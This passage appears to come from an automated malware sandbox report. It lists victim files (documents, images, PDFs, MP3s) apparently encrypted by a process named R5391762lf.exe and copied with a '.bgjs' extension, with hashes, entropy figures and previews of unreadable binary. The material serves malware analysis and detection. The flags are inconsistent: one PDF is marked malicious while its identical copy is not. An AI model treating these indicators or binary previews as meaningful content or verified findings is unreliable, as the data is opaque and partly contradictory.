..I.2.)[..8.:m.N.!.A.I.i.bl....lEl...Z.&dU...J.@8r.!...../D~%b9.4.8.w._.B;.........\.N...Q..Gi.c..a.....h..q...~.c.......\|....P.<.J...\..B...Q.....6gd#..;e..].$.i4v"a.,....l....'p.1&..1Px..d@33j..C..L.....@-+.rAC..w.O..g.#4q.=..G.b.f...r0....Uv........X.L.I.Z........o.+...{.C......Y....n...'b..k.h.U2...{^..iZ5~.zve.7.......o..(.t..:......ZH.\|b....3I...w\|...Kc.9.6n?........]..=..,U\|...;.-...Ug1......~<G....7..<q.^.Gu.P,2...5.#..vT.TSy....5P"..q.b8.2,..2]....6..:.....u.s...j.C4'.5?.-.0.{tt..o.>aB...c....(b.z.)...'....T..LVN.......^/.W{C...I..w.]."...B.L.....4<.OQ).8. Q..{.1@...........w...L........j3..)..(3...'^...1....}V..6........a....$.B...+..;...w...k,.....p>..<......Ab_....n.Q..y...%.a......}...9..0..s)....vA'...vSNFG....&...t..j....%...]2.!..D...D.(..8.r.@.t...s..A$_.(BE.A..JT...dA

C:\Users\user\Desktop\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860512418834421
Encrypted:	false
SSDEEP:	24:kQ4l5DOEYSelqUVgxE4MMdydlYhTGkwrZCCVKPEu9T+iIx3JTP2URJ0mAXq8uWbD:LuM4UVRMThi3C2KPEATry3JTPj0VXFuQ
MD5:	EEA6EA82DB2D43B7E1363293A4F42C1B
SHA1:	659DDD1F3A5689764475469C29153C12032662F1
SHA-256:	F639BD0C22CF5F33AF1DE77726DB00DE0D3CDD9EB639701300D3D76EA0EBE64C
SHA-512:	D03D36396682726C690C5271D9A4E14B890AAB5DF6FF1B92402B7A5CEFA0CB23C074E77B67523381C5DF14FA8DF6FD907B089CD1B16DA53431CCBE11C5360D8A
Malicious:	false
Preview:	SFPUS..:3.....3.J'.....ie...=..d..!W..:C..U..CR.'.B.>..Qr...enyU\|...i.....a.F....S..w..l..P.M...............gSA\c0.."...).2...8........]...E........\|..3..1..O^A.............z...P......fZa;.O~...$.wF..]..y.L4SRuA=~8\|$6s...uO>:..."..m.P...).N......~...#.....L.\|E..._..X'.........I.....\!.A@....j..7>t.P...q.TSL......h.+.p..T....;4.R...o..P..U..._..~.B......I}R....U2.5.}...v.ZV.mv.[[..f.+(.......v.....Z.g..r....]...f.=....<..N.).-P=.z.1..........~hC<Zq..a.aV.....E..u.6L........N^..t..u._.b55~.=.K/_#<.#...3...s........>.....".2........A..l.&......Ja.......N@.~f.t..X..E......k..h..S.Z....o.L......pEr.O.\|.(.:I%....@...s..!......;....,n.2....G.......p.5..L.....q7m.:.......C....X.-.B.t...(....>....EP...'o..6.q..qbO../...".<Dx(..n+..U.-...%.F{9.L.."2.......6..d.#..t......u(...>.2QLU..=....w..>.d..Lg...-..7.unC..S"..x......&.Mh...^.....,+........?4...&.p...G,..w_.e_J^.)Z.n.V..Z.n.....!..\|fn.f.(...7..!.x....k..o.........t...F:.Hk..o

C:\Users\user\Desktop\SFPUSAFIOL.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860512418834421
Encrypted:	false
SSDEEP:	24:kQ4l5DOEYSelqUVgxE4MMdydlYhTGkwrZCCVKPEu9T+iIx3JTP2URJ0mAXq8uWbD:LuM4UVRMThi3C2KPEATry3JTPj0VXFuQ
MD5:	EEA6EA82DB2D43B7E1363293A4F42C1B
SHA1:	659DDD1F3A5689764475469C29153C12032662F1
SHA-256:	F639BD0C22CF5F33AF1DE77726DB00DE0D3CDD9EB639701300D3D76EA0EBE64C
SHA-512:	D03D36396682726C690C5271D9A4E14B890AAB5DF6FF1B92402B7A5CEFA0CB23C074E77B67523381C5DF14FA8DF6FD907B089CD1B16DA53431CCBE11C5360D8A
Malicious:	false
Preview:	SFPUS..:3.....3.J'.....ie...=..d..!W..:C..U..CR.'.B.>..Qr...enyU\|...i.....a.F....S..w..l..P.M...............gSA\c0.."...).2...8........]...E........\|..3..1..O^A.............z...P......fZa;.O~...$.wF..]..y.L4SRuA=~8\|$6s...uO>:..."..m.P...).N......~...#.....L.\|E..._..X'.........I.....\!.A@....j..7>t.P...q.TSL......h.+.p..T....;4.R...o..P..U..._..~.B......I}R....U2.5.}...v.ZV.mv.[[..f.+(.......v.....Z.g..r....]...f.=....<..N.).-P=.z.1..........~hC<Zq..a.aV.....E..u.6L........N^..t..u._.b55~.=.K/_#<.#...3...s........>.....".2........A..l.&......Ja.......N@.~f.t..X..E......k..h..S.Z....o.L......pEr.O.\|.(.:I%....@...s..!......;....,n.2....G.......p.5..L.....q7m.:.......C....X.-.B.t...(....>....EP...'o..6.q..qbO../...".<Dx(..n+..U.-...%.F{9.L.."2.......6..d.#..t......u(...>.2QLU..=....w..>.d..Lg...-..7.unC..S"..x......&.Mh...^.....,+........?4...&.p...G,..w_.e_J^.)Z.n.V..Z.n.....!..\|fn.f.(...7..!.x....k..o.........t...F:.Hk..o

C:\Users\user\Desktop\SFPUSAFIOL.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834350424119984
Encrypted:	false
SSDEEP:	24:Xtn4tf1Ihzddfgb/PrZ4Dmq0LwRwR6hs/33LoFl4xONTTwqRtbOhraimXq8uWbD:atWRrfgb/PS08RwR6hsPLoFl4xONnwq/
MD5:	A77445AAC5629F264820BABBC0B426A7
SHA1:	9252B94F528CE274DDD162BBB06D85A6C08D2167
SHA-256:	8EC77022F9907193AB1932CD73C111160F432C34A10F6412366CE3C897F9ACC2
SHA-512:	6D5C44D63F0ACFA263E6E0F12FEB67634487EB2A7E0AB65DA69D9B89DC03E73BA8278D4132AC16A8064F315B416B0C52AD869D6F38E94639BED27C0F21A74C2C
Malicious:	false
Preview:	SFPUS..h.r.:UFq..z].Z..Ix..Z%v8...9..XE.L.tr.vW..-j].........u.w....V.U..xOm<..x\|.\|.5..g7H.9......G..;f.,.<....{V....S../...J.nT.G..!..0......Snq...;..O)......y..[..;.q.l!.=....o.=.....o.?$0...0.kh....H....~..h...=.l....:..p:.D.7.F...-..R}.4H0..p5M.;.$.u.(..>.j@.plX....=.C.9.L..~9.e......(.L......0C.<.6....4Ss...3.!.Y.............K.V.......?.%A.h.9.8....R.w].9`{...F+G......$6..Fs~8..F.o....;..a.B......L\B.$>N#.%.`.'...d.wn.<w..q....K.f+...4....5.H...>..&.i...+x..E..".+.NL].Q...K..]5...;e..../.+(..~=.DK.8....m6...A....u..]A3...W=D..x+.?Oa.W-....r lU.N.......}..I..........a.....#....6...5V'...6.>...f~...8c.O{w{.@..F.....G..X3C...oab.ko.-...%o.......qF..(.vKk.(..P.........=^v.J..V......(/..4.2t.....X..y.....y.............%.....5.e....O..3c....4..=...7.ZZ....ZFxg..Qo.. ...bpz.XD.....F=d..;......M.#.A........S.u..3.zB...<..I....$.R...p...(.O/...e..B.L.".8.O.....hBL..>.B..F`5....y..5k$.WX......-....y~.m{..jXyX..&3..k..>.Z.{1H\X..]H<.&..../.3..

C:\Users\user\Desktop\SFPUSAFIOL.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834350424119984
Encrypted:	false
SSDEEP:	24:Xtn4tf1Ihzddfgb/PrZ4Dmq0LwRwR6hs/33LoFl4xONTTwqRtbOhraimXq8uWbD:atWRrfgb/PS08RwR6hsPLoFl4xONnwq/
MD5:	A77445AAC5629F264820BABBC0B426A7
SHA1:	9252B94F528CE274DDD162BBB06D85A6C08D2167
SHA-256:	8EC77022F9907193AB1932CD73C111160F432C34A10F6412366CE3C897F9ACC2
SHA-512:	6D5C44D63F0ACFA263E6E0F12FEB67634487EB2A7E0AB65DA69D9B89DC03E73BA8278D4132AC16A8064F315B416B0C52AD869D6F38E94639BED27C0F21A74C2C
Malicious:	false
Preview:	SFPUS..h.r.:UFq..z].Z..Ix..Z%v8...9..XE.L.tr.vW..-j].........u.w....V.U..xOm<..x\|.\|.5..g7H.9......G..;f.,.<....{V....S../...J.nT.G..!..0......Snq...;..O)......y..[..;.q.l!.=....o.=.....o.?$0...0.kh....H....~..h...=.l....:..p:.D.7.F...-..R}.4H0..p5M.;.$.u.(..>.j@.plX....=.C.9.L..~9.e......(.L......0C.<.6....4Ss...3.!.Y.............K.V.......?.%A.h.9.8....R.w].9`{...F+G......$6..Fs~8..F.o....;..a.B......L\B.$>N#.%.`.'...d.wn.<w..q....K.f+...4....5.H...>..&.i...+x..E..".+.NL].Q...K..]5...;e..../.+(..~=.DK.8....m6...A....u..]A3...W=D..x+.?Oa.W-....r lU.N.......}..I..........a.....#....6...5V'...6.>...f~...8c.O{w{.@..F.....G..X3C...oab.ko.-...%o.......qF..(.vKk.(..P.........=^v.J..V......(/..4.2t.....X..y.....y.............%.....5.e....O..3c....4..=...7.ZZ....ZFxg..Qo.. ...bpz.XD.....F=d..;......M.#.A........S.u..3.zB...<..I....$.R...p...(.O/...e..B.L.".8.O.....hBL..>.B..F`5....y..5k$.WX......-....y~.m{..jXyX..&3..k..>.Z.{1H\X..]H<.&..../.3..

C:\Users\user\Desktop\SFPUSAFIOL\PIVFAGEAAV.mp3

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.819041468051554
Encrypted:	false
SSDEEP:	24:qblJ4474d+DbHNz/vxPaAP3zU60wpb0aIgRa46o+J0uqXq8uWbD:UlJv++DbV3xh/CCigXA0uqXFuED
MD5:	18853006BE0474B6FA765F4330860A7A
SHA1:	9A238AB772BC5F81D13CEDA13B471B2638784185
SHA-256:	22630C970D49768EF2DAAE2735DE84992CC5A80B2BE89DA558999985C1B2799D
SHA-512:	E413157EE8CAAE523310FEF7575366E3E781FD1FCA7902DD3B498B99DDAD9EC63D572FCD070B01B1F563C05753F2D56FFD8D88E5E811BB1D8DC4DFC6925AB93C
Malicious:	false
Preview:	PIVFA..l...g....jVvp#.F..7.Bp....>S..U.j.&.1c4(.H.E.i.6..Q.....$/...._8..:..L...O.I.wQ.`........G..x..j;..i...x\|.cn..J.#.\|.9...3A.I1.R.t.]/Y..&.............i.UZ!Y.b...&Bu.PmY..M^.....w....nuR....V_hFs.a......SZWQ.m.-.\|......E.@......?.+cQ..S.>....8.z.w...K.......N...2...H....:.......+&..TR.s..N......5...BX.>..b=.E.Y.Q8.U... ...b.R.D.>H..Eg.`...j{......0g....3..u."T....G.C.....Cj.!..d.Z..]....D.-...,..jFG.D.hQ......J...s.-..............F(,....m.Bu....v..p..... ..........U.!.Q6p...C<Q.F.M...;.n..?.X....+....f...U..6:.D.........6/.......jF....jW..\|..........10..i.}.6..p....IuwG.i......,F..5^.K$xxc?..7..f....5C.9-...G..(...O..T$..i.X.,\...N..b...1.bC.+...h....iA(....+W...-hV.j.O.X. Xs.... v..>xr....V..i....c^.\...p.E ........y.....1Uowu..[E.E%...nZfkB.j.....J....8.....Q......F^.y;..R$...^...Q.(.%h...].`..X......q...#.....y.U}.\|.q. @.....G....%G.4'm..J.r.L~......p{.]J/.@...g..0..b4..Z......hD..R..^.L.L..O.Q...x.t,.aB....f.!...J.........

C:\Users\user\Desktop\SFPUSAFIOL\PIVFAGEAAV.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.819041468051554
Encrypted:	false
SSDEEP:	24:qblJ4474d+DbHNz/vxPaAP3zU60wpb0aIgRa46o+J0uqXq8uWbD:UlJv++DbV3xh/CCigXA0uqXFuED
MD5:	18853006BE0474B6FA765F4330860A7A
SHA1:	9A238AB772BC5F81D13CEDA13B471B2638784185
SHA-256:	22630C970D49768EF2DAAE2735DE84992CC5A80B2BE89DA558999985C1B2799D
SHA-512:	E413157EE8CAAE523310FEF7575366E3E781FD1FCA7902DD3B498B99DDAD9EC63D572FCD070B01B1F563C05753F2D56FFD8D88E5E811BB1D8DC4DFC6925AB93C
Malicious:	false
Preview:	PIVFA..l...g....jVvp#.F..7.Bp....>S..U.j.&.1c4(.H.E.i.6..Q.....$/...._8..:..L...O.I.wQ.`........G..x..j;..i...x\|.cn..J.#.\|.9...3A.I1.R.t.]/Y..&.............i.UZ!Y.b...&Bu.PmY..M^.....w....nuR....V_hFs.a......SZWQ.m.-.\|......E.@......?.+cQ..S.>....8.z.w...K.......N...2...H....:.......+&..TR.s..N......5...BX.>..b=.E.Y.Q8.U... ...b.R.D.>H..Eg.`...j{......0g....3..u."T....G.C.....Cj.!..d.Z..]....D.-...,..jFG.D.hQ......J...s.-..............F(,....m.Bu....v..p..... ..........U.!.Q6p...C<Q.F.M...;.n..?.X....+....f...U..6:.D.........6/.......jF....jW..\|..........10..i.}.6..p....IuwG.i......,F..5^.K$xxc?..7..f....5C.9-...G..(...O..T$..i.X.,\...N..b...1.bC.+...h....iA(....+W...-hV.j.O.X. Xs.... v..>xr....V..i....c^.\...p.E ........y.....1Uowu..[E.E%...nZfkB.j.....J....8.....Q......F^.y;..R$...^...Q.(.%h...].`..X......q...#.....y.U}.\|.q. @.....G....%G.4'm..J.r.L~......p{.]J/.@...g..0..b4..Z......hD..R..^.L.L..O.Q...x.t,.aB....f.!...J.........

C:\Users\user\Desktop\SFPUSAFIOL\QNCYCDFIJJ.jpg

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8532054167536005
Encrypted:	false
SSDEEP:	24:Oeu6/XansKDnUypBZ3A1LndxVtTxoZ+PXN9Fp7MFnqEKaBdErP8+60sqIYOXq8uQ:huUSsKbxodxoZ+fjT7AnqjaBGrLBsqIb
MD5:	9BE47CE08993831C31B50D2B6D00A837
SHA1:	5929E17E81072E7AE39755454F403427CD88ABF0
SHA-256:	F7102FC4E521847AB8007A6CBC690919BEFEE7F17B8C44AE57E3EAC6F4543C98
SHA-512:	DCD20F73060468085BECDD75E6C7F831EC34CADC71E48A8CF7576B28555C6DCEF307BC71FA3A45BA23F802614C0770F93A6031232A18436A4F8764ABAC64616F
Malicious:	false
Preview:	QNCYC.X....m.6.T.r........P...Sv.M..T1..I.xR.....$..@.K....6..1. .gj..I.q....6.e....,....+.<c.U.3.$.....)gY7#.....P:.Vb.i...K,..CN&.&./.L .U.cU_.%.@c.....2rm.....g.9zO.G..a.M.w.b......4.c....s~.8....9~`...8t{.eS`~...........I.....M...=.@...k..W...x..-^.-....ll^J+..P..t.'!...D5......6.nz...9\..F.g>........c._.......L.S....b...!.h....3M!.3$[xm$..6..P,t....`?...c.P._....u....'E.&?A.v....(..a....D.YS...X.u9..=...rM;.%.8G....Zr...5.M.f....G..l.3.......j.J\|.......h.... 4...\|$...1u3..\A.........O.b....}..T.`...7e......W..x..MpZv....l0.B3...F..i2.E..`.[f...&.%.K.v.....8K...-.,...3.7.Z..)..m..O..y.E.d.W...........K.v...%...$..'CZ".~.v..:...,.I,..u...[8..8.....\|....S..=...M.g....].0*}..}.[..]/..D.....ce......n.......Y.1d..sTz.aZ.aS.U.062;.[.s5S...@...\./..".o....^!..%.24..AhEb.Rm..)..l..+fT.\ R.1u.S8.S!4eF".75..x.9.:.~.;.....C......(xx.....}.2...L62...L.........@.....Y.7\@...6.m......z z.......+.9u".~]X..[.s.<..g.\....=.6....m........

C:\Users\user\Desktop\SFPUSAFIOL\QNCYCDFIJJ.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8532054167536005
Encrypted:	false
SSDEEP:	24:Oeu6/XansKDnUypBZ3A1LndxVtTxoZ+PXN9Fp7MFnqEKaBdErP8+60sqIYOXq8uQ:huUSsKbxodxoZ+fjT7AnqjaBGrLBsqIb
MD5:	9BE47CE08993831C31B50D2B6D00A837
SHA1:	5929E17E81072E7AE39755454F403427CD88ABF0
SHA-256:	F7102FC4E521847AB8007A6CBC690919BEFEE7F17B8C44AE57E3EAC6F4543C98
SHA-512:	DCD20F73060468085BECDD75E6C7F831EC34CADC71E48A8CF7576B28555C6DCEF307BC71FA3A45BA23F802614C0770F93A6031232A18436A4F8764ABAC64616F
Malicious:	false
Preview:	QNCYC.X....m.6.T.r........P...Sv.M..T1..I.xR.....$..@.K....6..1. .gj..I.q....6.e....,....+.<c.U.3.$.....)gY7#.....P:.Vb.i...K,..CN&.&./.L .U.cU_.%.@c.....2rm.....g.9zO.G..a.M.w.b......4.c....s~.8....9~`...8t{.eS`~...........I.....M...=.@...k..W...x..-^.-....ll^J+..P..t.'!...D5......6.nz...9\..F.g>........c._.......L.S....b...!.h....3M!.3$[xm$..6..P,t....`?...c.P._....u....'E.&?A.v....(..a....D.YS...X.u9..=...rM;.%.8G....Zr...5.M.f....G..l.3.......j.J\|.......h.... 4...\|$...1u3..\A.........O.b....}..T.`...7e......W..x..MpZv....l0.B3...F..i2.E..`.[f...&.%.K.v.....8K...-.,...3.7.Z..)..m..O..y.E.d.W...........K.v...%...$..'CZ".~.v..:...,.I,..u...[8..8.....\|....S..=...M.g....].0*}..}.[..]/..D.....ce......n.......Y.1d..sTz.aZ.aS.U.062;.[.s5S...@...\./..".o....^!..%.24..AhEb.Rm..)..l..+fT.\ R.1u.S8.S!4eF".75..x.9.:.~.;.....C......(xx.....}.2...L62...L.........@.....Y.7\@...6.m......z z.......+.9u".~]X..[.s.<..g.\....=.6....m........

C:\Users\user\Desktop\SFPUSAFIOL\ZQIXMVQGAH.pdf

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841989314275346
Encrypted:	false
SSDEEP:	24:ShzgeJpZKWbEaExCBrZTEQsmzkQvc11w1ME+SRJgrRunsXq8uWbD:FeJpQCHEWkYM2BV60nsXFuED
MD5:	AF8E9A1F7C7A10C5DC152095C17D9ED4
SHA1:	97548A7CD967A3613E5BC02288B0098626527405
SHA-256:	FED74B8212DD17A291E1B45A2AB453A813E7A4D2EE4EF080C43BBE4542CEF34C
SHA-512:	ABB26CC409D6C7251B487899598BA87439C635E2CCA218B1352B00FE899A0E4E75DA18AE9FA10292E1B91D8B73AF7637E60E383808AAE76C52021118FBFBA49F
Malicious:	true
Preview:	ZQIXM..N..0.....R.?.~.r:.......&.NG}d.D.c...kp...<ef._}. <............i)O.....%'~.'...9..........hn.........J....E.Y:...R....%EH..&K.1.[.....].;oH..J......&. ...,..H;F...'.0.5.a...l..\q.....U?k.N..f6H....,..P...{..J../...c..........6..5.....[Gm.4.z2#.Vx...^X..AU8b.lr>.P#])......f...\|.a....,@...p.Nq%..k.Q]d...#.7.6..Z........3.PF..x.n.=,#...2C...1....w>{..F..ka.q....\|#....n.L.....L\|.L.....G...(v......v{U......8...u.\.f..I..k;P~..E.pX.K..p0.NH.....!...^..U..p!.?.R..... ..D...A.eJL.3.U.`.:i....N...SB%c..."...f...Y.......].R.=.PV....o..!nj....e.I..h.#......=.....s.-...7.._8`.....Q...weVM.]o.s.v....K...x...._4..x.(....1 ....zq..OZ.....4&V..I@.gs09..q0P.Hs.....A..E..Lz.`..7..w.J..1.Q...<....F....Y.Z(..X.....A.P`.F...~3j.F?.\|.9.........g_n..w_@.`..AQ.d.t.....[P..UzQ..K...^Yp.h......M<..\].....D.....(0.35X..P...{.C.5....0emR..h..P...].O.F'4.D..............d.1.B!.2.......b.}....7..v.....U....p.}4....R.>v.qT..)x.}@..g.F.2..E....9n...7Q."#4..j'..

C:\Users\user\Desktop\SFPUSAFIOL\ZQIXMVQGAH.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841989314275346
Encrypted:	false
SSDEEP:	24:ShzgeJpZKWbEaExCBrZTEQsmzkQvc11w1ME+SRJgrRunsXq8uWbD:FeJpQCHEWkYM2BV60nsXFuED
MD5:	AF8E9A1F7C7A10C5DC152095C17D9ED4
SHA1:	97548A7CD967A3613E5BC02288B0098626527405
SHA-256:	FED74B8212DD17A291E1B45A2AB453A813E7A4D2EE4EF080C43BBE4542CEF34C
SHA-512:	ABB26CC409D6C7251B487899598BA87439C635E2CCA218B1352B00FE899A0E4E75DA18AE9FA10292E1B91D8B73AF7637E60E383808AAE76C52021118FBFBA49F
Malicious:	false
Preview:	ZQIXM..N..0.....R.?.~.r:.......&.NG}d.D.c...kp...<ef._}. <............i)O.....%'~.'...9..........hn.........J....E.Y:...R....%EH..&K.1.[.....].;oH..J......&. ...,..H;F...'.0.5.a...l..\q.....U?k.N..f6H....,..P...{..J../...c..........6..5.....[Gm.4.z2#.Vx...^X..AU8b.lr>.P#])......f...\|.a....,@...p.Nq%..k.Q]d...#.7.6..Z........3.PF..x.n.=,#...2C...1....w>{..F..ka.q....\|#....n.L.....L\|.L.....G...(v......v{U......8...u.\.f..I..k;P~..E.pX.K..p0.NH.....!...^..U..p!.?.R..... ..D...A.eJL.3.U.`.:i....N...SB%c..."...f...Y.......].R.=.PV....o..!nj....e.I..h.#......=.....s.-...7.._8`.....Q...weVM.]o.s.v....K...x...._4..x.(....1 ....zq..OZ.....4&V..I@.gs09..q0P.Hs.....A..E..Lz.`..7..w.J..1.Q...<....F....Y.Z(..X.....A.P`.F...~3j.F?.\|.9.........g_n..w_@.`..AQ.d.t.....[P..UzQ..K...^Yp.h......M<..\].....D.....(0.35X..P...{.C.5....0emR..h..P...].O.F'4.D..............d.1.B!.2.......b.}....7..v.....U....p.}4....R.>v.qT..)x.}@..g.F.2..E....9n...7Q."#4..j'..

C:\Users\user\Desktop\ZQIXMVQGAH.mp3

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846887153717472
Encrypted:	false
SSDEEP:	24:MrGy4rNao0ZEtrXevPVmif0ZCxxytY0ElkfdiRRwdF3hCSn3p1JtD4W6hT2DIXq+:May4r8+kzytP0kfdiRWdhhjp1DD3lDI5
MD5:	D55A44660699E8336CF3AB885B7291DA
SHA1:	F9324F4FCC377843C95DA08B316A6D05C36BAA2A
SHA-256:	FE27E4854369517578918684499001BFAC9390684AA0402E32997E7516014DC2
SHA-512:	6819D2099B1E0C125C979B0787BB9A06463FA5F7E1C0EA15A5630A6BE104AB44B193C6E5BF80A4957EE4015A69DC11A077943B8646536D5B6828A328D1B44CEA
Malicious:	false
Preview:	ZQIXM.....Z...K...x...OV4>.._?.R.t.x"...1 x&z...qkQ..79..$..&.:.~..:]...O8.N.T....@!.\|7..F...-.........^..+.r.Lr+...7.%s}..\|..zA.....P5.[.R.W....d...M.E.X.,DI.S..0.....g.U.p.#L./..m.m.....F.p.....&.\|5{.F.g...^........eJ........(...O......Wi....w.v....d=..r(_..u.Xu<H..j.J...M..+.D.....l};S.2....f..._#.\.....-sr..=_.........\....W.e..0$.A.`g[..]>..e+4d .3..PP1.N_...c..)YJ.g..2...g.... wGK .U"..`.`.'.-;<..j..Q...FJ9..4J..O+.5d.Q8:.2..GG...Bpf..k9...Jw...T.y;.!...3zO...<.PZ..Hsdh..?=tbQ.m.....d..S....s..N.!R..;..v.z.xA.....E....3..../.F.q..(......F..=.......j..k2....u.H.p.6!.s6.z.N......+H=..H..&>s~...5.f.H $.\|.\..OoR.d4ub#.RB.Z..b.s.sB..S.2RE?\|zM..z..0v.o...EwJ......H...bR{U.......}8..2...65..........w.D....?...9.v.c..(yT..[.....7.f.C.(...{.7......P..4...0....e@/c.h.k..9O..-...3....._..e....b.W.2.\|..1..@8.m..(..".3.\|q\.D.._Z......gd(..%.....c5.\.g+...V.wyE....i....hb..$.De/kc....n.H..qKD..>.n...%.1....(...K.qi.7...f%..1'U1....t..DSO6

C:\Users\user\Desktop\ZQIXMVQGAH.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846887153717472
Encrypted:	false
SSDEEP:	24:MrGy4rNao0ZEtrXevPVmif0ZCxxytY0ElkfdiRRwdF3hCSn3p1JtD4W6hT2DIXq+:May4r8+kzytP0kfdiRWdhhjp1DD3lDI5
MD5:	D55A44660699E8336CF3AB885B7291DA
SHA1:	F9324F4FCC377843C95DA08B316A6D05C36BAA2A
SHA-256:	FE27E4854369517578918684499001BFAC9390684AA0402E32997E7516014DC2
SHA-512:	6819D2099B1E0C125C979B0787BB9A06463FA5F7E1C0EA15A5630A6BE104AB44B193C6E5BF80A4957EE4015A69DC11A077943B8646536D5B6828A328D1B44CEA
Malicious:	false
Preview:	ZQIXM.....Z...K...x...OV4>.._?.R.t.x"...1 x&z...qkQ..79..$..&.:.~..:]...O8.N.T....@!.\|7..F...-.........^..+.r.Lr+...7.%s}..\|..zA.....P5.[.R.W....d...M.E.X.,DI.S..0.....g.U.p.#L./..m.m.....F.p.....&.\|5{.F.g...^........eJ........(...O......Wi....w.v....d=..r(_..u.Xu<H..j.J...M..+.D.....l};S.2....f..._#.\.....-sr..=_.........\....W.e..0$.A.`g[..]>..e+4d .3..PP1.N_...c..)YJ.g..2...g.... wGK .U"..`.`.'.-;<..j..Q...FJ9..4J..O+.5d.Q8:.2..GG...Bpf..k9...Jw...T.y;.!...3zO...<.PZ..Hsdh..?=tbQ.m.....d..S....s..N.!R..;..v.z.xA.....E....3..../.F.q..(......F..=.......j..k2....u.H.p.6!.s6.z.N......+H=..H..&>s~...5.f.H $.\|.\..OoR.d4ub#.RB.Z..b.s.sB..S.2RE?\|zM..z..0v.o...EwJ......H...bR{U.......}8..2...65..........w.D....?...9.v.c..(yT..[.....7.f.C.(...{.7......P..4...0....e@/c.h.k..9O..-...3....._..e....b.W.2.\|..1..@8.m..(..".3.\|q\.D.._Z......gd(..%.....c5.\.g+...V.wyE....i....hb..$.De/kc....n.H..qKD..>.n...%.1....(...K.qi.7...f%..1'U1....t..DSO6

C:\Users\user\Desktop\ZQIXMVQGAH.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833090287077062
Encrypted:	false
SSDEEP:	24:e1jq+bvdt2nOB6EGgiH20AvmNN5RgDzuYJK1bfI9JOyWjwXq8uWbD:ekMvdt2OqgiHZAevMnIbfIO9jwXFuED
MD5:	FA35376A349F70E9DBDB76A96E8F0E08
SHA1:	B34254131CBE0BE4E2A8E4BADFC97957A71AC225
SHA-256:	1B37D8CFBC3C28056FB2255F4017D4A0EE8B8FDCFDA43B316E71EF95F1970393
SHA-512:	5E95CA231752E1690A8EE174842E10B91879D101C1640DE41917BB5CEA8FAD5CE2CB12DD67C2BB252F9946878B7950B2E1AF033B3DC57D5A449AB54D664D5CDC
Malicious:	false
Preview:	ZQIXMa.?.....-.O..g.............\..`.T=.^V...]M U....,.!14=.Tl..ab..S.c.,..K.......T.QR..T}.n.h..>...0q.....2@oCzB..5rX...>&..G..7.l..x..:5L.O%6...'..f(.LXu..!]...a.D5P.5i..U.9.5.)...c..X....md..g ).!soO...~m.$G.s...J.e.....r.G..v.!C..b.8u....g......v4....[..Iz......a..p .Z.lB..T..\|._........6./{......-n.....-.....{.....U."..N...y^K...b?.O...w.;.......(..lj...Ko~.....p+.N.....J.H^e.....a........<.X..B.-..4..W.....@-.~.5..N...,s.Rz....H.o?.J.,....k...Msyb....W...,.l...DQ.....~.7!.]..T.=1o..UKb...z/..15vY.$.(.q.N..^.1.M.5.B...........r.H..vQg[...^).......?~.{>.....S.{\...5....I.....y.....8o..5t`!........!.T0...)...\.p.Ut....z.....Pz.Q+L.2.]..@..sG..i'H.....ee..${..@....N...g+...?w.....42...~..k.5;.n3.Lt3.7....^z..xW9h...W.Q..-...j\|............EAf.;.{..r6.. .59.......f.l=onu..i..CQ\|......z...^."6G...$.{G.&..dt.._O81Jq..=u)...\..-.Li3.'.d._.1..s.....T.+.n.q.....kw.w.u...:.......]..G...C.P..Nuo..<p.v./.a.H.e..~..u?N.........d?.%....F..

C:\Users\user\Desktop\ZQIXMVQGAH.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833090287077062
Encrypted:	false
SSDEEP:	24:e1jq+bvdt2nOB6EGgiH20AvmNN5RgDzuYJK1bfI9JOyWjwXq8uWbD:ekMvdt2OqgiHZAevMnIbfIO9jwXFuED
MD5:	FA35376A349F70E9DBDB76A96E8F0E08
SHA1:	B34254131CBE0BE4E2A8E4BADFC97957A71AC225
SHA-256:	1B37D8CFBC3C28056FB2255F4017D4A0EE8B8FDCFDA43B316E71EF95F1970393
SHA-512:	5E95CA231752E1690A8EE174842E10B91879D101C1640DE41917BB5CEA8FAD5CE2CB12DD67C2BB252F9946878B7950B2E1AF033B3DC57D5A449AB54D664D5CDC
Malicious:	false
